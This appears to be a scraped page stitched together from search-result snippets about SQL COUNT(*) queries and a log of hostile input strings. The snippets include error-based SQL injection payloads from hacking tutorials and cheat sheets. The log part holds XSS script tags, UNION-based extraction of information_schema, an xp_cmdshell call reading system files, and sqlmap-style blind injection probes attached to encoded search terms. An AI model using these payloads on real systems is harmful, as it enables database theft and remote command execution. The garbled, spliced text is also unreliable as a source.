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Oracle How to simplify a select count(*) from (subquery)?

stackoverflow.com

I was asked to try to simplify a count() query but I do not know where to begin, the query is something like this: … I was told that the SELECT COUNT(1) FROM (subquery) can be simplified...

sql - Select count(*) from multiple tables - Stack Overflow

stackoverflow.com

How can I select count(*) from two different tables (call them tab1 and tab2) having as result: Count_1 Count_2 123 456.

Dapper: Result from "SELECT COUNT(*) FROM... - Stack Overflow

stackoverflow.com

string sql = "SELECT COUNT(*) FROM " + tableName; var rtn = DapperConnection.Query<int>(sql); This works and bring back 1 record in the rtn

sql - Select from union tsql - Stack Overflow

stackoverflow.com

Is it possible to select from the result of a union? For example I'm trying to do something like: … Am I missing anything or making an assumption about how this works?

sql - select count(*) from select - Stack Overflow

stackoverflow.com

I am trying to get row count from the following query. I get only row count as 1 but there are 35 records. Could you please let me know how to get the count from inner query? Thank you …

mysql select count union - Stack Overflow

stackoverflow.com

(SELECT COUNT(*) FROM transactions tr INNER JOIN payments pa ON tr.asset = CONCAT('p_', pa.id) WHERE pa.user_id = '{$user_id}').

Hacking: Error based sql injection tutorial - Double query injection

ultimatehackingarticles.blogspot.com

and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(version() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1. Now trying this syntax in our site.

SQL Injection Cheat Sheet: MySQL | xl7dev | Select Nth Row

blog.safebuff.com

爆表 AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT

MySQL SQL Injection Practical Cheat Sheet - Perspective Risk

www.perspectiverisk.com

1 AND (SELECT 1 FROM (SELECT COUNT(*),concat(0x3a,(SELECT column_name FROM information_schema.COLUMNS WHERE TABLE_NAME="table1" LIMIT 0,1),0x3a,FLOOR(rand(0)*2))a FROM information_schema.COLUMNS GROUP BY a LIMIT 0,1)b)

SQL UNION Operator

www.w3schools.com

Well organized and easy to understand Web building tutorials with lots of examples of how to use HTML, CSS, JavaScript, SQL, PHP, and XML.

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"><script >alert(string.fromcharcode(88,83,83))</script>|xss|[kz] kazakstan|08/18/2020 17:41:56|') and 1=1 union all select 1,null,'<script>alert("xss")</script>',table_name from information_schema.tables where 2>1--/**/; exec xp_cmdshell('cat ../../../et
"><script >alert(string.fromcharcode(88,83,83))</script>|xss|[kz] kazakstan|08/18/2020 17:41:56|') and 1=1 union all select 1,null,'<script>alert("xss")</script>',table_name from information_schema.tables where 2>1--/**/; exec xp_cmdshell('cat ../../../et
%u0431%u0438%u043f%u044d%u043a %u0430%u0432%u0442%u043e %u043a%u043e%u0441%u0442%u0430%u043d%u0430%u0439 %u0446%u0435%u043d%u044b and 6908=(select (case when (6908=2550) then 6908 else (select 2550 union select 3456) end))-- hbpi
%u0431%u0438%u043f%u044d%u043a %u0430%u0432%u0442%u043e %u043a%u043e%u0441%u0442%u0430%u043d%u0430%u0439 %u0446%u0435%u043d%u044b and 7992=(select (case when (7992=7992) then 7992 else (select 8669 union select 1998) end))-- alwt
%u0431%u0438%u043f%u044d%u043a %u0430%u0432%u0442%u043e %u043a%u043e%u0441%u0442%u0430%u043d%u0430%u0439 %u0446%u0435%u043d%u044b" and 3956=(select (case when (3956=2163) then 3956 else (select 2163 union select 4524) end))-- hzxq
%u0431%u0438%u043f%u044d%u043a %u0430%u0432%u0442%u043e %u043a%u043e%u0441%u0442%u0430%u043d%u0430%u0439 %u0446%u0435%u043d%u044b" and 7992=(select (case when (7992=7992) then 7992 else (select 8669 union select 1998) end))-- gyij
%u0431%u0438%u043f%u044d%u043a %u0430%u0432%u0442%u043e %u043a%u043e%u0441%u0442%u0430%u043d%u0430%u0439 %u0446%u0435%u043d%u044b") and 7992=(select (case when (7992=7992) then 7992 else (select 8669 union select 1998) end))-- wian
%u0431%u0438%u043f%u044d%u043a %u0430%u0432%u0442%u043e %u043a%u043e%u0441%u0442%u0430%u043d%u0430%u0439 %u0446%u0435%u043d%u044b") and 9729=(select (case when (9729=1260) then 9729 else (select 1260 union select 2140) end))-- gehw
%u0431%u0438%u043f%u044d%u043a %u0430%u0432%u0442%u043e %u043a%u043e%u0441%u0442%u0430%u043d%u0430%u0439 %u0446%u0435%u043d%u044b%' and 7992=(select (case when (7992=7992) then 7992 else (select 8669 union select 1998) end))-- hgjf
%u0431%u0438%u043f%u044d%u043a %u0430%u0432%u0442%u043e %u043a%u043e%u0441%u0442%u0430%u043d%u0430%u0439 %u0446%u0435%u043d%u044b%' and 9901=(select (case when (9901=7115) then 9901 else (select 7115 union select 6880) end))-- pffb

999999.9 //union//all /'/**/and/**/(select/**/8909/**/from(select/**/count(*),concat(0x716a626b71,(select/**/(elt(8909=8909,1))),0x7171627871,floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a)/**/and/**/'ugww'='ugww/select //c на YouTube:

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